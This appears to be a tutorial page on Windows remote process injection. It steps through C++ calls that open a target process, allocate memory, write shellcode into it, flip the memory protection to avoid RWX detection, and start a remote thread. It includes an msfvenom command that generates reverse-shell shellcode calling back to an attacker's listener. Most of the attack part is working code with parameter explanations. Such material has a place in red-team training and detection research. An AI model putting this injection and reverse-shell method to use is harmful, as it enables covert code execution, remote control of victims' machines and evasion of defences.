Remote Process Injection
Remote Process Injection consists on injecting a shellcode within a memory region inside the virtual address space of target process’s memory.
Overview
This process injection technique involves:
Toolhelp32
: To enumerate running processes within a read-only snapshot and search for a process by its name.OpenProcess
: To get a handle on a specific running process with necessary access rights.VirtualAllocEx
: To allocate a memory region within the virtual address space of the target process using its handle.WriteProcessMemory
: To copy the shellcode inside the allocated memory space.VirtualProtect
: To change the protection on a region of committed pages in the virtual address space fromPAGE_READWRITE
toPAGE_EXECUTE_READ
avoiding RWX region detection.CreateRemoteThread
: To create a thread within a remote process that will execute the shellcode within the allocated memory.
Explanation
First, we start by generating the shellcode to inject into the remote process:
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=8000 -f c |
Then, we create a snapshot of all running processes in the system using CreateToolhelp32Snapshot
which returns either a handle of the current read-only snapshot, or INVALID_HANDLE_VALUE
if the function fails.
1 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); |
TH32CS_SNAPPROCESS
includes all processes in the system in the snapshotNULL
as this is only required to get the snapshot of a specific process
We initiate an instance of PROCESSENTRY32W
struct and assign a size of PROCESSENTRY32
to its dwSize. It will contain process information (executable file name, PID and PPID)
1 | PROCESSENTRY32W pe32; |
To enumerate the processes in the snapshot, we will use 2 functions Process32First
and Process32Next
After finding the target process by its name, we have to open a handle on that process by using OpenProcess
1 | if (processName == pe32.szExeFile) { |
- For the AccessRights, we use
PROCESS_ALL_ACCESS
FALSE
as we will not deal with child processespe32.th32ProcessID
to specify the ID of the target process
Having a handle to a remote target process, we have to first allocate a memory region within the virtual address space of that process.
1 | LPVOID sc_address = VirtualAllocEx(hprocess, 0, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); |
hprocess
: Handle to the specified remote process0
: To let the function determine where to allocate the regionsizeof(sc)
: The size of the allocated regionMEM_COMMIT|MEM_RESERVE
: The type of memory allocation to use which in this case to reserve and commit pages in one stepPAGE_READWRITE
: To allow the shellcode to be read and written in memory.
Now, we copy the shellcode to the allocated memory region on the target process using WriteProcessMemory
:
1 | WriteProcessMemory(hprocess,sc_address,sc,sizeof(sc),0) |
hprocess
: The handle to the specified process memorysc_address
: A pointer to the base address in the process to which the shellcode will be writtensc
: A pointer to the shellcode to be written into the allocated memory regionsizeof(sc)
: The number of bytes to be written to the process memory0
: As we want to ignore the NumberOfBytesWritten parameter
Before creating a thread on that process, we have to change the memory protection options from PAGE_READWRITE
to PAGE_EXECUTE_READ
1 | VirtualProtectEx(hprocess, sc_address, sizeof(sc), PAGE_EXECUTE_READ, &OldProtect); |
hprocess
: Handle to the process whose memory protection has to be changedsc_address
: A pointer to the base address of the region of pages whose access protection attributes are to be changed.sizeof(sc)
: Number of bytes of the region whose access protection will be changedPAGE_EXECUTE_READ
: New memory protection flags&OldProtect
: A pointer to a variable that receives the old access protection of the first page in the specified region of pages.
We create a remote thread within the process to execute our shellcode using CreateRemoteThread
1 | HANDLE hthread=CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)sc_address,0,0,0); |
hprocess
: Handle to the remote processNULL
: To get the default security descriptor and make the handle not inheritable0
: So that the new thread uses the default size for the executable(LPTHREAD_START_ROUTINE)sc_address
: A pointer to the starting address to be executed by the thread0
: As our shellcode does not require any parameters0
: To let the thread run immediately after creation0
: As we do not need to return the thread identifier
We then call WaitForSingleObject
to wait for the thread to complete
1 | WaitForSingleObject(hthread, 500); |
hthread
: Handle on the created thread500
: Wait for 500 milliseconds
Code
1 | using namespace std; |